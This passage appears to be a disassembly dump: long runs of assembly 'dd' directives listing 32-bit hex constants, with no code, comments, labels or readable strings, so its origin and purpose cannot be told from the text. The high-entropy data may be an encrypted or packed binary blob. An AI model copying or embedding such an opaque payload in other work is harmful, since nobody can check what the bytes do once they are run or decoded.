		dd 60E812BFh, 836E2C1Ch, 4D82863h, 788BE9A1h, 0EA35021Dh
		dd 0E1478A26h, 6930699h, 0CBC50802h, 8F2C552Fh,	774AB97Eh
		dd 6118F043h, 0CD6C270Ah, 717D2B62h, 680F3A3Eh,	0DDE97023h
		dd 616F4C74h, 4756082Fh, 0A167B93Eh, 0C63C34E9h, 2768B261h
		dd 0CCCC7F4Ah, 0F653261Fh, 6201196Ah, 2BB33BAFh, 0C75D02C9h
		dd 97FE25B1h, 73BA104Bh, 4980BEE6h, 0A54B5E82h,	48F3D8E0h
		dd 32225914h, 0A060FBCh, 0CB0E1FEAh, 5436C467h,	0D666CC80h
		dd 29A22409h, 0A58E1C0Ch, 0D3DDD692h, 0E40AE94Bh, 0B0C4C7Dh
		dd 77AF0204h, 1DC0D629h, 5CF5696Bh, 460201Ch, 82C18149h
		dd 61D5D18h, 4FA5E912h,	9C8FAC0Ah, 0D2047582h, 9416FD25h
		dd 3CC4989Dh, 282B26B6h, 0A16F894Ah, 81CF9857h,	26C69D66h
		dd 434CF0F2h, 375E811Dh, 0C13E1EF7h, 6ABA07D2h,	0E0855FB8h
		dd 29188136h, 5310927Ch, 0A51A2406h, 0BC8CEC53h, 3D393617h
		dd 4B20EF01h, 0B8E90669h, 2D02B228h, 6EA434ACh,	720C8F4h
		dd 4B0946EAh, 0D52D1944h, 0D5FD720h, 0A9094797h, 0FD8F745h
		dd 0AA1A4258h, 6ED27D49h, 6E689D05h, 45ADE938h,	32303127h
		dd 5BEC5F29h, 5C3AF4B7h, 130A3ADFh, 0DCA08F9Fh,	0B63A8F0Fh
		dd 0C9C8EF93h, 0B810611Dh, 48D66230h, 817B93Dh,	59B99391h
		dd 8A7A35B0h, 0E5203828h, 534F587Ah, 3E6239ABh,	1451622h
		dd 6FC691E9h, 292FA3E6h, 2C3C58C0h, 0E92DC473h,	0C619753Eh
		dd 0A5026EF7h, 604F215Dh, 82D0B951h, 0F56D0BF5h, 0D426046Dh
		dd 8C0F1C0Ah, 5339FE40h, 0CF89276Fh, 0C069A851h, 26468245h
		dd 2C768D9h, 0C5E0D37h,	0CE01EDC9h, 53B9B683h, 0FAE975E9h
		dd 0BA5ED0ABh, 0CEC15A1Fh, 41631949h, 5A11C3FFh, 9834BFE7h
		dd 0A4190BEh, 3D5ED43Eh, 20D6B3E7h, 0F9E95282h,	0E0D346Ch
		dd 59B240E7h, 5785E0DDh, 21BF56C8h, 967B913Ch, 0D5F4510Ch
		dd 0D6225E9h, 0A881EDE4h, 2D546CB3h, 88BDF01h, 5CC4095Bh
		dd 29308CAAh, 49AEC24Bh, 0CB41A376h, 25006A58h,	2970A654h
		dd 81CAF1EFh, 4A14E908h, 0F317583Dh, 0E70837E5h, 5F1298C7h
		dd 681CB8FCh, 0E451E73Bh, 7C512281h, 82304361h,	1D4D1867h
		dd 5DCB0C0Eh, 0A4656D24h, 8DB9AF02h, 26E2718Bh,	794E0886h
		dd 21196804h, 207E48EBh, 0C9A552Dh, 0D5497571h,	169300EBh
		dd 0CF81C100h, 42CE34B4h, 9BBD3A55h, 2FCFFD28h,	0A2BB9604h
		dd 0B3760EDAh, 0E9602C0Eh, 5533A757h, 4EA1C4D4h, 0EDB4D868h
		dd 424402B0h, 5F5D2CD5h, 814DF680h, 0F70959F5h,	79897004h
		dd 0B4C16703h, 88B2FA05h, 0F1039658h, 46EE29D2h, 11751A04h
		dd 0D5BAF8B9h, 7FF9E3BCh, 9513265Ah, 56289F0Eh,	969F47FCh
		dd 872734B4h, 0CDB5B5A2h, 0D0046EA0h, 0A3138DC3h, 0C22F7B27h
		dd 42167D68h, 0FB3DE917h, 942F8289h, 0D6CCE93Ch, 54992CFAh
		dd 0E6A9B84Fh, 0F349C2F4h, 0DCB52946h, 1E95C94h, 7C72BD28h
		dd 40691010h, 22E6F6A3h, 9448022Ch, 0E632910Fh,	0E4E36h
		dd 2D5785BBh, 0ABE9F089h, 536BCF7h, 6A0B5129h, 0BC688D60h
		dd 16789360h, 6110095Eh, 0D5A7106h, 5BD80117h, 0CD9438Dh
		dd 9942986Eh, 26E8A55Fh, 0B72CBFE5h, 0BD217E68h, 430E8398h
		dd 0B40C263Eh, 43D80B2Ah, 2DADB031h, 4FA0365Ah,	0F44FE259h
		dd 0B4A25177h, 0E9FFA17Fh, 982DD1F6h, 43842E3Ch, 0F0EFC156h
		dd 2B0F429Fh, 44413E7Fh, 4F8002E1h, 13B0F321h, 0ACCF0182h
		dd 7BF7B0F3h, 80B00994h, 5F80FA89h, 4DE95AD0h, 25EC905Ah
		dd 42D58783h, 4AEF0640h, 729A7818h, 2DF6DD0Ch, 9E0374ABh
		dd 375823E3h, 3BCC6016h, 0FC184E27h, 7300B5D7h,	5E802D5Ah
		dd 294FBF09h, 0DA0002F0h, 0C1B50463h, 215BE7Fh,	408FC221h
		dd 5C1D92A0h, 0EA019D88h, 3BF4F66h, 4F842F29h, 0E95B0801h
		dd 9B23377Ah, 11EF800Fh, 0AAED6165h, 5F7D82E2h,	1C08E4FCh
		dd 0EA0685A4h, 6CC62CDDh, 4663020Ch, 0FA011441h, 49B1025Dh
		dd 0AA7E05D3h, 231A9641h, 807B6785h, 0DCE7B8A3h, 7F987A2Fh
		dd 0E9137716h, 60BF8355h, 4C39D862h, 88E4E47Eh,	0E0406B9Fh
		dd 9F6E4A4Eh, 14C52DAh,	0A105E148h, 0EA33C8F8h,	524500EBh
		dd 74342D37h, 17D7F20h,	0CA0747F9h, 12E90511h, 0E5E4ACDCh
		dd 94B98364h, 20A41B17h, 560DD8DBh, 0CDF02C4Bh,	0ABF64F46h
		dd 5A589438h, 8C9C9C12h, 0B301719Eh, 3FB2523Ah,	0F5AD3C0h
		dd 0EB80E328h, 0CB305800h, 6F0C0459h, 0F8A8B753h, 0A253BFF9h
		dd 5A3D208h, 0A3037C68h, 0F819247Eh, 97F4FA5h, 0BF621EE9h
		dd 40845FDh, 0B6473168h, 1D34C57h, 456D6E3Ah, 123A72E9h
		dd 0F9062DB8h, 0B3166EE8h
		dd 50DF9AEEh, 0DB9D9147h, 53568589h, 0E3AD0968h, 92786509h
		dd 55D3F72Dh, 73E98E10h, 272E369Eh, 0D080494Fh,	48400311h
		dd 0D6045C05h, 9E4409B2h, 0E33A0F3Ah, 7B02E354h, 18100412h
		dd 0B08DE91Fh, 0C2096829h, 0D7274919h, 0EB127948h, 585893A6h
		dd 0E2DC2F9Ch, 9FC5F7DEh, 43B4F7CBh, 0C4AEA920h, 0F912CD68h
		dd 0EC592797h, 0BBF3305Eh, 49F9EA5Fh, 8B10FA15h, 5954BF7h
		dd 7FCB2CE2h, 0E58194FCh, 458A31FAh, 1FB6F160h,	0D3408001h
		dd 6E0FE1F2h, 0F3A77BACh, 0EA842A99h, 90C4F7F3h, 0B1E2BEA2h
		dd 6571499Fh, 0ED86D9FCh, 1E0A4038h, 0B9017CC5h, 0E04ACD34h
		dd 70FD02AAh, 995F53DDh, 454CF020h, 0FB013E50h,	5E18F193h
		dd 0A26B370Bh, 46D7EEF8h, 515DF25Ch, 5FF89E09h,	0D05681BEh
		dd 402F7327h, 6751DE3Fh, 188E8FBAh, 8D180136h, 706F8C6Dh
		dd 1926645Dh, 0CA021CD1h, 50D62159h, 344502C4h,	0DEF77579h
		dd 0DD00635Ch, 0E9AF1E8Ch, 3776B72Bh, 84D905EBh, 4002C1D5h
		dd 0FD7275CAh, 7E21940h, 0AA6BD6FEh, 0B9B541Fh,	0A45424ACh
		dd 7C8568E1h, 325EDE63h, 0F8E1574Dh, 0DACA2A2Ch, 4125F94Ch
		dd 29621EF9h, 201D52DFh, 0D69FFEC2h, 97BF81A1h,	2E6D4138h
		dd 0A49683B8h, 5E16571Dh, 5880FAC0h, 0B12E1CE9h, 7BE401D5h
		dd 0DA2911C2h, 908A388h, 6F795A58h, 9AD95CA7h, 0C2D77374h
		dd 89AB773Ch, 2018EB0Bh, 5895EA88h, 251CBAD9h, 0E7989D8Fh
		dd 0CD93F0D9h, 2E6E4527h, 58D5C596h, 0A937BE83h, 23A83AE1h
		dd 4C161FD3h, 0F1D9404Fh, 9C3D060Eh, 97E1C105h,	1CB673Ah
		dd 0DEC7FFF0h, 2FF268DDh, 0AACEB3D9h, 0DF25C78Bh, 0D19D673Ch
		dd 0F1478928h, 25A86977h, 9CD79FA5h, 0BED3D2A4h, 27E97528h
		dd 18DC4E49h, 4BC9E9D8h, 4F964492h, 31B200E7h, 9D256268h
		dd 93D8718h, 0B600C8A6h, 5BB450DEh, 9708E4C0h, 0EA2F4778h
		dd 60CA1829h, 245B81A9h, 2009F31Ch, 0E2443A3Eh,	3E537F49h
		dd 75E15E0Bh, 79D9AEBBh, 25B32AE8h, 103BAD96h, 532E3B2Dh
		dd 164C10D2h, 80AB19B5h, 0E5C0CF32h, 0FEF6074Bh, 0C2AAE90Dh
		dd 2524232Ch, 5390091h,	983B2E70h, 2DD0284Bh, 685A1E07h
		dd 317E253Eh, 0A224BF59h, 428FBCBEh, 0C05596C6h, 4F4CE4D6h
		dd 4F29E0F4h, 0C89C0B08h, 4C2431h, 10BF692Ah, 0D14E1DE9h
		dd 0E14622AEh, 5002D954h, 5770CE68h, 5E95AB3Ch,	718AF271h
		dd 509165Dh, 637E26DCh,	35E95CF2h, 66B87A30h, 0D3D108E4h
		dd 59E3823Dh, 80384E5Dh, 123774ECh, 5F532855h, 0F0DF4EF7h
		dd 4C13B1ADh, 490169F8h, 1098CB19h, 0EE04370h, 0E91D377Eh
		dd 7DA0BD89h, 29D66856h, 5601B96h, 9702540Bh, 0A2A96F87h
		dd 3FE02511h, 6C02BDF8h, 58C229BAh, 7E45D89h, 13ACA220h
		dd 0B67A8D68h, 0FEE9C253h, 317C68E0h, 0C201809Fh, 5A0A8B17h
		dd 7E688560h, 0A282A86Ch, 0BD0AC07Dh, 7F65FCAh,	0EE3EE490h
		dd 5914C19h, 0DE2EE9DDh, 61067E9h, 0C0F4403Fh, 0CC17723Ch
		dd 3FEC45D7h, 14E7D5A8h, 851BA89Eh, 0E2EB57B1h,	0E958C30Eh
		dd 0E388DC5Ah, 0B78C4012h, 0F780A20Bh, 1F68F731h, 8807512Fh
		dd 50D5F6FDh, 0D87FEC57h, 4BDCE9E3h, 8A441A4h, 0ED653E37h
		dd 586B81CAh, 805AF120h, 4E30C1CCh, 7074EEC8h, 41CDAE88h
		dd 9B7640A8h, 27BCF62h,	5A05CE5Eh, 0EBC748B0h, 81081422h
		dd 0B7EA80DFh, 0B0C48A72h, 0DC04AA62h, 28AA6FABh, 1691404h
		dd 597C569Dh, 0D2023A57h, 54156068h, 825F5A33h,	4B2AE942h
		dd 2CEBB484h, 30416A61h, 0CDE0A06Eh, 0BA405A90h, 0A4DEBF5Ch
		dd 0C07CB1C0h, 0ECBF876h, 2DEB3FEDh, 56BC2DCh, 0E45F7D8Fh
		dd 71EE1746h, 0B9D8FB09h, 3BF24127h, 0EF4AE3B9h, 1968B170h
		dd 9EDC914Bh, 17EC4D52h, 0B4EBAFh, 0F731D05h, 6E34F4BBh
		dd 0EFC9A3BFh, 5DBD8A20h, 20EF996Fh, 5416D45Fh,	30FA511Eh
		dd 149C6898h, 0A6CF57C4h, 8CBD4BD0h, 419F0F42h,	0A1A54D45h
		dd 2FD4C858h, 85E44616h, 0EB200EBBh, 0E3F089D6h, 0BE46CE92h
		dd 0AE685505h, 4BF97A45h, 0C0E5E90Bh, 64F385Eh,	0CB10DA42h
		dd 0B4DE09B8h, 0C53A5D25h, 14D05257h, 8D7FA768h, 0B619BBD7h
		dd 0A580B7F4h, 0F19DB4F6h, 40B531EEh, 0B7D13029h, 0FD49A4FCh
		dd 5335AEA2h, 2DCD5409h, 0BB41F6DCh, 0C11469B2h, 9D24405Ah
		dd 18C9FD73h, 80A27A4Ch, 265574A6h, 12AE0AA9h, 1542603Fh
		dd 74101178h, 6A25D501h, 57492FD4h, 0CB5EF429h,	27FE5CBAh
		dd 0D2F0D42Dh, 1A30A2D3h, 4F784EB6h, 1C10EB12h,	505A1608h
		dd 50339C22h, 0D313B6E9h, 8A9C5065h, 2FA128FAh,	63B2AF6Bh
		dd 0F33BC1D8h, 6423E27Fh, 0BA17ED20h, 9BB12CD5h, 0C2296C6Dh
		dd 5CA84236h, 0B930FF03h, 753E9C66h, 4C22EA90h,	9D90C152h
		dd 70C8293Fh, 0A94EB012h, 9CCF9434h, 5AF0A25Fh,	0E54E022Ah
		dd 52AD3A55h, 0B010E984h, 68715841h, 17444752h,	0BE2C3703h
		dd 0C73F6856h, 0FC3192C7h, 0F021C41Ch, 4074A8C8h, 5595AC5Fh
		dd 91887A3Eh, 0C9835907h, 806D5452h, 9B41084h, 75428581h
		dd 2CE47FC7h, 0C241B3AAh, 7631BA68h, 0BC786567h, 491CD24Ch
		dd 5D502640h, 2EE9D5F7h, 0A6FDE75Fh, 0CB137Bh, 0EF052D44h
		dd 101EC804h, 728F029h,	0ED095E7Eh, 0E235B164h,	0B4070ED2h
		dd 43F64A1Eh, 0AFBCAE9Dh, 688407E5h, 0BC985103h, 23C04F2h
		dd 0E0DFE932h, 585F5D24h, 2D1C39AAh, 54F216CEh,	0F997A0F2h
		dd 62752F0Bh, 5A425754h, 4CA54FC0h, 5820652Fh, 0BC1AB026h
		dd 945D27A7h, 831C41C6h, 0B112F336h, 585BB122h,	0C2FAAC7Fh
		dd 0F2AE15E9h, 0D69520E8h, 4E3ED89Dh, 5A3182B9h, 881365D5h
		dd 0FE2DE89Ah, 0F11049D3h, 213E7C1h, 2C8C5F68h,	4ED309BBh
		dd 6F543B8Ch, 0B722D440h, 1E9B076h, 36D9D3F9h, 505D5E9h
		dd 0C831DD84h, 5F830h, 9BB44421h, 67762D92h, 2288BB5Ch
		dd 62594E3Ch, 0B2AAB36Fh, 6C0659AEh, 0F5810112h, 346E7962h
		dd 9175B4EDh, 2F2BC30h,	68764072h, 34F16D62h, 2EB56582h
		dd 8B4B5FDFh, 0C073C498h, 0D2E92908h, 0FEDC2552h, 9BFF444Fh
		dd 55AE0E7h, 0F4C568F8h, 97B6ABEBh, 0B70F5D28h,	6903F260h
		dd 0E900C3C6h, 0A4705233h, 20191450h, 3804A202h, 0FC73D73Fh
		dd 3E7F3B80h, 89E71C52h, 268DF0Bh, 343F73h, 855859B9h
		dd 0CE76117Fh, 5569D690h, 0E1948413h, 0AAF92904h, 7EE6498h
		dd 2D4045CEh, 20C15A01h, 7FE91808h, 80C5DBBCh, 9BA7482Ch
		dd 255DE800h, 0F4443A21h, 750E0E35h, 0BD1A82h, 546AF5Fh
		dd 922FE7AAh, 0B9A8D9EBh, 0D7E1A717h, 0D6F7D27Fh, 4B280F40h
		dd 974421Eh, 92161124h,	94985690h, 0B7F4514Fh, 9D783F5h
		dd 41CC688Eh, 4CF52E9Ah, 0ABCE4A1Dh, 0F5F05F32h, 0B2D8E7ABh
		dd 0BAA1772Fh, 97DA7743h, 7292BE0Fh, 12AFF68Eh,	769C00DBh
		dd 16F8706h, 455AD125h,	0DDF427C4h, 1B44E4DBh, 7B01099h
		dd 426F4797h, 0CC5FB7B2h, 3E562565h, 0EABD5864h, 9799C113h
		dd 4C4A312Bh, 1B27AE4h,	0A3555127h, 0FF7FC59h, 3F88C169h
		dd 0E043018h, 5C71B7B6h, 0C098CDFCh, 74AD0534h,	9EEA5FB1h
		dd 73E56009h, 9B65D55Bh, 739F320Ch, 51E81C35h, 87AA58Ah
		dd 3B501520h, 0AC96FE87h, 386CD133h, 5042DEB4h,	0CA4B0178h
		dd 0EBC7A04Eh, 3240286Ch, 1EBBEF0Dh, 0A1817DF5h, 5A2274BEh
		dd 315CFC1Dh, 2443C4B5h, 830DFD34h, 7FB72B3Ah, 55E238D1h
		dd 0F563E4A6h, 7137377Ch, 77693BE0h, 2AF2E980h,	0F70D7351h
		dd 1AE883D8h, 1F12E4E6h
		dd 56CD94C1h, 17B0F86Bh, 61FB5E55h, 17C2C865h, 0E65AA26Fh
		dd 580355ECh, 0EA13D831h, 1128D9B8h, 44772768h,	0F1413E52h
		dd 0E84F046Ah, 0C4FAECCBh, 49F89639h, 207CBFC7h, 0D3E5816Fh
		dd 2A871F01h, 0DE67E94Dh, 78C6E27Bh, 0C5C2D4E8h, 0E2728CF3h
		dd 1BE220Fh, 5241D6F5h,	0D1F54E6Ah, 0F96AC97Ah,	46CB777Ah
		dd 5994F4DDh, 0A3E82B5Ch, 697A010h, 23446866h, 5F613C08h
		dd 1062AC5Dh, 3A0C2ED9h, 25B9FA51h, 74F0498Eh, 0E91EA605h
		dd 78F9DDD4h, 7642D1D7h, 9331786Ah, 0E94BCFACh,	0B3BACDA8h
		dd 0FADAB501h, 53F3B77Ch, 0DCA017B4h, 36F12568h, 0C270267Eh
		dd 0C54E13BCh, 4060AD65h, 0F1955F08h, 91326235h, 0F7EF5E04h
		dd 6CE581BBh, 84040262h, 4A0813CEh, 2FBB68E9h, 0EC2D506Dh
		dd 5D4E6Bh, 5EBCBDECh, 0DE957859h, 0EA094957h, 23B26D1h
		dd 0B8A496E2h, 48C4429h, 13616A59h, 2F6C8640h, 0AD79B43Bh
		dd 0C3590B3Dh, 0C7064C86h, 814DF611h, 656127A7h, 0E953A07Ah
		dd 6801985Eh, 74F8685Eh, 0E305A78Dh, 0E9573F17h, 9DF849E5h
		dd 1BA29F07h, 5A075CDDh, 82AD72C2h, 0A18206h, 0FE093368h
		dd 12F3774Ch, 0E0D05DAAh, 1038D094h, 10F0899Dh,	0AB4AE4B2h
		dd 9649A861h, 0B5C40104h, 0ED0DC238h, 0D25DF657h, 9AF106C9h
		dd 0C2B781Bh, 503CFE07h, 35E5494Ch, 85BB15EEh, 6FD9AAD2h
		dd 548B5F68h, 0A71DE0Eh, 0B584156Fh, 26A1C912h,	57C23432h
		dd 705FF789h, 0C095E4F5h, 4103BF16h, 1AB06C4Bh,	0B42F0178h
		dd 970DD893h, 6841A7F1h, 313E4F41h, 81A79D5Ch, 0BE6656E0h
		dd 0F7D037C3h, 0FF52EEDEh, 6BF190ADh, 76556884h, 899EEDA9h
		dd 95317084h, 6097E9BAh, 0BD5A0D5Dh, 0DD3028C9h, 3699952Eh
		dd 0CFA83F41h, 0EDB1CBC4h, 59060991h, 80A65221h, 81F36BDDh
		dd 4B06365Dh, 24E9DB88h, 837A3CBFh, 69487EC3h, 0AC9566D1h
		dd 0FE2C3937h, 0BA7CF501h, 0EC6E092Eh, 0D007DD2h, 0CF813E73h
		dd 0F6661BA8h, 0FAE778D1h, 9D5D1751h, 0DE1E087Eh, 2FB56804h
		dd 0E52A33AFh, 6352C3FAh, 1DC8EA03h, 0B02941AAh, 0E97BD55h
		dd 4569A105h, 0BACD8120h, 0B2B8CC07h, 94D59C2Fh, 698FF843h
		dd 401B79Bh, 30FDEAEBh,	200DC10Ah, 0C179C2Ch, 0E3671AFCh
		dd 586A9840h, 187361CEh, 601C02F8h, 1CD0F173h, 141C6808h
		dd 923A933Dh, 2A4361EAh, 33E2075Ah, 179D19Dh, 4403ED81h
		dd 0FDF560CDh, 4BB4E93Dh, 2FEC0B9Dh, 2A291CAh, 0AFBCF309h
		dd 989CDAFFh, 80FE9F9Ch, 0CCF7815Ch, 0C0A8702Eh, 5BFC02EDh
		dd 882769BAh, 7A1C76F3h, 0FD1647C0h, 0D78C08B4h, 7EE6F01h
		dd 21870A32h, 120766C1h, 3CEE26D6h, 684D1322h, 2C951232h
		dd 639A7560h, 8113009Eh, 3394E4EFh, 0B2BF31B1h,	0F6D2F792h
		dd 0DA7A93B6h, 82514EDDh, 1BD85991h, 0A0FC75Eh,	27EB3358h
		dd 4F027B65h, 4E2D41B9h, 0FE84822Ah, 4BA0D202h,	0A8FBB11Dh
		dd 0A556EC2Ah, 3BC58300h, 4BE976FEh, 5A6AB079h,	0D24EFC97h
		dd 4FFA238Fh, 95569C8Fh, 385E76ACh, 7C379109h, 82F537Eh
		dd 0EF201ACAh, 5B40E635h, 835A2380h, 12EDA0C5h,	895A9C2Fh
		dd 1ED59A75h, 5F7AFE89h, 85DDA8D2h, 89641368h, 0D2E8B081h
		dd 71B0905h, 0F88FE3F7h, 1359EB28h, 0F50EF1E9h,	0CA072A99h
		dd 0A7AF6F5Ah, 110E33ABh, 0DEC12987h, 0EAE684F7h, 0C8FF3874h
		dd 5E97F3B2h, 21196484h, 0FCFB9318h, 4AF89AEFh,	0EDF43BA8h
		dd 0A2566FF6h, 0C0478F55h, 48EC68E4h, 0BCDD5653h, 0D8428182h
		dd 0C5555B20h, 1F8299F7h, 0C714A2E9h, 963CC9B6h, 9E8DCA47h
		dd 12135064h, 0B12F702h, 0C7F795BBh, 92AA0DBCh,	948882DDh
		dd 0D42E340Ah, 9F072006h, 264BA843h, 2AA72DEAh,	0FE042194h
		dd 0B301A471h, 0E5D828A8h, 77A328FDh, 0B050C307h, 0DFC93490h
		dd 0B2523881h, 56F03BDCh, 0FC3AE7D0h, 0F5D2C6Ah, 28FEE909h
		dd 5193D6ADh, 0B3A468FCh, 36BE4F1Bh, 0FE208EFEh, 6568710Ah
		dd 9474F366h, 844FF97Bh, 0BC17144Fh, 0BD3185F1h, 30DFC9FEh
		dd 4E199ABh, 1402ECB0h,	89C1621Dh, 0CB24277Eh, 0BD885A51h
		dd 0E6800793h, 0BCEE33DFh, 2DA970D9h, 9E944CF4h, 980BDEF9h
		dd 0B6DF035Ah, 72E4D232h, 0A71C9D32h, 0F9854727h, 0E5393C3Bh
		dd 0D731A9CFh, 2D00F6B3h, 7EA66331h, 551F829h, 204A6007h
		dd 74B55AB2h, 0D35049E0h, 0E3B7C7B2h, 0A8EBD292h, 0D0098871h
		dd 0BD3D5B49h, 920EB993h, 57F8896Ch, 85ADBA5Ah,	761CC0C0h
		dd 54460113h, 0AD2A0C41h, 2ABB5FB2h, 0DA6A6B86h, 25EB5EC1h
		dd 5EAF4990h, 25BD2971h, 0CBBDD9F1h, 8480CE96h,	0B9800BDCh
		dd 0E04C0057h, 0D5685226h, 0E9ECF201h, 7AC6F320h, 0B9C158F7h
		dd 90C58100h, 8914AB08h, 10A5CD94h, 0B13A8168h,	0DEFEADD3h
		dd 52BE8952h, 0F7C73AC0h, 0FEFB1696h, 30E9D931h, 697B3B3Ch
		dd 1D8317E8h, 670B6D1Dh, 489304F0h, 83BD3677h, 0E5C1F400h
		dd 6867131Ch, 0B37D5E6Ah, 0D39441F1h, 8F4BF3B0h, 2104297h
		dd 7044E908h, 78B90EEAh, 0BF658C49h, 0EB08216h,	832BE0DFh
		dd 0F7B6C0C7h, 7B8C418Dh, 66D4E924h, 21EB8084h,	0FE4D02C0h
		dd 60240EC0h, 0C306D62Ch, 22CE0658h, 21007E6Ah,	0F632B551h
		dd 0A004B0D5h, 0FD06E50Dh, 8600ACDh, 2E06E142h,	90E9BE0Bh
		dd 61C557B1h, 7D491CC7h, 0E9166CC6h, 31ABDAFAh,	51C9814h
		dd 55C71BA9h, 4B07D568h, 0E2F0FFE5h, 3C4BE1F4h,	312DA437h
		dd 2DBF9F45h, 521C22Bh,	31C94DDEh, 2FDF17Bh, 0BDC25107h
		dd 86BE7B78h, 0A6818151h, 2B4605A9h, 0A6C59201h, 0D9AE7584h
		dd 0A1713432h, 577D899Fh, 4E93746Dh, 2D5F15C0h,	64017FE0h
		dd 0E4C1883Ah, 1917F385h, 70CF944h, 9055E735h, 45330070h
		dd 14BD18C7h, 0C095FFAAh, 0F032762h, 0C529238Ah, 5A08A81Ch
		dd 61CFF58h, 0A125A4C3h, 2CDB144h, 0B74E82D0h, 0A3324E0Ch
		dd 38744113h, 0EC2F53FEh, 0AEB3993h, 0C9D2F7D5h, 0FF8D2317h
		dd 5AC49922h, 0B428BF53h, 0C20AB45Bh, 26D5BBCAh, 7B06BD90h
		dd 9340B815h, 91480836h, 0B741722Dh, 679ACFC0h,	58732826h
		dd 7BA8D913h, 0BA6A1615h, 3669EF03h, 5CDAA027h,	88179FDEh
		dd 0BBA4D04h, 0F510F810h, 2E05FF4h, 0C2E2B509h,	0C54EE271h
		dd 9BCD032Ah, 1095BD3Bh, 0BF5BA193h, 0EE80EC35h, 60BF0740h
		dd 18651A38h, 0E9274E7Bh, 0B2BA40C2h, 0ADC0BF7Eh, 5875C608h
		dd 0F680EE03h, 0DDF328ABh, 685B45EEh, 0B8FD0E50h, 0DD39EFF3h
		dd 0CB6C7DF9h, 2EAF34Bh, 0E268C80Fh, 8CD1516Eh,	0C3476932h
		dd 1417310Ch, 16820C6Bh, 0FC6D0A12h, 0E1212FAEh, 1CA0F3DFh
		dd 14D4D008h, 0E95E1C60h, 7AE1B5F2h, 0E9E15ABDh, 4EB17C67h
		dd 5AD0C368h, 5124AF92h, 0D433FCAAh, 5AFB430h, 0D257EE2Bh
		dd 1ED56115h, 0F579607Dh, 0F705EBC1h, 1D4D358h,	0FDA5CCEEh
		dd 683C95E9h, 97649740h, 1109D2E6h, 9464B29h, 24E17049h
		dd 3C9EBD1h, 26782DF6h,	9CD74E4Fh, 86FA0BAFh, 4EF8ADFh
		dd 6F7A90BFh, 9ED0C14Bh, 4FDA7028h, 34D50EC1h, 0C62E1AC1h
		dd 998006DAh, 482C66D8h, 9A007804h, 5A74BB0Bh, 0E9D50929h
		dd 0CE5A0E07h, 0C13F55Ah, 5B4CCBABh, 5573B229h,	2D0E440h
		dd 0E939B067h, 724A281Ah, 0C5C0FE00h, 51485EC4h, 624C2D6Eh
		dd 0B1D1FF87h, 0A1202151h, 0B5554910h, 0E8536D50h, 3DD9ECC3h
		dd 0C80E585Bh, 0EDF6659h, 0F90F1FB7h, 80C12881h, 58EBE3E9h
		dd 28D86BA1h, 0A3089F03h, 2659133Eh, 0F6FA09C5h, 772D75B4h
		dd 7C68D310h, 0D1A62A4Ah
		dd 395F6882h, 478CAD79h, 9A8670E2h, 0E3C01650h,	0AA8C0803h
		dd 0D727FE1Ch, 9080EA14h, 3AE1ACD0h, 0C7DE1EACh, 1BFFEC8Bh
		dd 5CA68B15h, 0B2148480h, 6EE9810Dh, 0C0A40D80h, 0AC4FE498h
		dd 0B85AAA40h, 0BE134065h, 0B166D20Bh, 12D3F46Ah, 5885E071h
		dd 49ADD19Fh, 554D2BD5h, 0AD1654CFh, 0D5BAE280h, 3D9D0F21h
		dd 32C283h, 193A4F19h, 284BE978h, 0FCC66149h, 12DBAC57h
		dd 0BEF98562h, 9D0023DDh, 78306EB7h, 9A10BDFAh,	0F2258002h
		dd 203DD14Bh, 38D541FFh, 602EB97Eh, 0A55D1019h,	3F101E4Eh
		dd 4BD401A7h, 0CE299774h, 3FF9E9h, 1E1B8DAh, 0B956F16h
		dd 9821F7BBh, 2B218CE9h, 0E68DDD0h, 220BB64h, 692810D0h
		dd 0E9F8825Dh, 68CBA16Eh, 987E188Bh, 565C3304h,	36B906CFh
		dd 24946EC2h, 8B4262F5h, 78F47496h, 0A760615Ah,	0E8305B00h
		dd 0AD41F39Fh, 68738157h, 57384CE3h, 36424FC0h,	0DA4C8706h
		dd 0DE086848h, 0C70714ACh, 9246008h, 0F23301EBh, 0DAED5E1Ah
		dd 0F00880FFh, 9DA104E3h, 41129922h, 5D289CDFh,	65003D56h
		dd 681CF73Eh, 4C583237h, 7DF12D06h, 6380BD20h, 0D8B77FD2h
		dd 0EBC68024h, 3F562776h, 0A01F0AF4h, 99DE98EFh, 0C7791F7h
		dd 0E2DD9BC1h, 8C4E2FFAh, 0BE4A53B2h, 0AA4A1B2Bh, 5C34BD8h
		dd 0E962B761h, 4224AEDEh, 429196ABh, 297F6895h,	0C8FC9DEBh
		dd 0BCB4019Dh, 0BD4011A9h, 3C6D433Eh, 25F78553h, 0A4BC28EFh
		dd 69800828h, 0B551223h, 3E65DF24h, 5D17224Ah, 0D6F33064h
		dd 2DCBE982h, 90003672h, 817D2077h, 2C10DDE7h, 32E330Ah
		dd 9497066h, 52F8CFE3h,	6A900BBFh, 0FB383D9Ah, 0D4C42D8Ch
		dd 3FE90501h, 0AC32AF6Fh, 0A9D8F79Eh, 0DEDFC14Ah, 742AB848h
		dd 7BE93F5Ch, 0C29D28D8h, 28981013h, 85A2875h, 0B2139324h
		dd 8916CAAAh, 31D20429h, 0BE7985BBh, 0E827EACEh, 20FFCE0Bh
		dd 0F6810396h, 0C7560408h, 0F2F3010Ch, 93FC93C5h, 262D640h
		dd 0E9549E3Bh, 0DCCAAAB5h, 0DDEC4AD7h, 7645810Bh, 57E14289h
		dd 504A7BC4h, 98F553EBh, 5DA6CF9Ch, 29BAEF4Fh, 9C4460ABh
		dd 0F7D2119Fh, 811B47CEh, 611510C2h, 8740695Eh,	678368E3h
		dd 0DF3A881h, 4B663084h, 5126850Eh, 0BAE93709h,	0B786F2D7h
		dd 55FFE20h, 702548A5h,	220FF023h, 2F952F7Fh, 258F4580h
		dd 3A706E00h, 0C13194h,	0F18107E1h, 0CA1D3804h,	6B29E91Ah
		dd 0FD1FFF9h, 1C005293h, 4ABE14CBh, 0BC7692Dh, 2D3CF556h
		dd 0C13C13E7h, 41337345h, 0A96553Ch, 0E32FD4CEh, 6584502Fh
		dd 27A01C5Fh, 0F58B9DD4h, 0B3683C02h, 0C5F8E2F8h, 71EBCB4Ah
		dd 68B90DEh, 0CC88279Ch, 0F60E7FD4h, 0E9D1E1D2h, 66246506h
		dd 0AA775804h, 87C4E74h, 5499289Fh, 64973F06h, 99AB98CFh
		dd 0B1A72BFh, 673A6942h, 84A08255h, 30B7F2EAh, 2D0CC17Bh
		dd 20482910h, 0CD92DC9h, 407EF85Bh, 663952AAh, 482CBABAh
		dd 7BE1E02h, 10DAF74Ch,	3E4504E2h, 0CA7C44E9h, 2BB05A2Eh
		dd 6D840908h, 87420DE9h, 5FD9E3B3h, 5317488h, 4ABCB90Fh
